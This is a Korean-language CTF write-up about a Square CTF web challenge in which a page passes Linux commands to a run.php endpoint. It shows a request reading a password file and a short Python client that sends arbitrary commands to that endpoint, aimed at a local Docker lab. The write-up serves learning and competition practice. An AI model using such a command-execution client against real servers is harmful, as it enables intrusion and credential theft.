1. 개요
웹쉘 문제, 리눅스 명령어 문제
도커 컨테이너 실행
docker run --rm -p 8080:8080 squarectf/pwd_checker
2. 분석
1) 코드
접속하면 화면이 나오고, 코드를 보면, 다음과 같이 리눅스 명령어를 url 인코딩해서, 서버로 보내고 있습니다.
웹셀로 시스템콜을 사용할 수 있습니다.
let xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);
xmlHttp.send(null);
let actualValue = xmlHttp.responseText;
2) 한줄
문제는, 시스템 콜 결과가 가장 뒤의 한줄만 보인다는 것입니다.
http://localhost:8080/run.php?cmd=cat%20run.php
조금 귀찮아져서 웹셀을 파이썬으로 만들고 사용했습니다.
3. exploit
from urllib import parse
import requests
def parse_cmd(cmd):
return parse.quote(cmd, encoding='utf-8')
def request(cmd):
return requests.get(f"http://localhost:8080/run.php?cmd={parse.quote(cmd, encoding='utf-8')}")
if __name__ == '__main__':
while True:
r = request(input())
print('r', r.text, '\n')
대회가 종료되서 flag는 조금 다른 것 같습니다. flag-good-job!
'CTF' 카테고리의 다른 글
[pico CTF] plumbing (0) | 2022.06.12 |
---|---|
[Square CTF 2017] little-doggy-tables (0) | 2022.06.12 |
[Square CTF 2021] Huge Primes (0) | 2022.06.12 |
[Grey Cat The Flag 2022] Too Fast (0) | 2022.06.11 |
[HSCTF 9] vending-machine (0) | 2022.06.11 |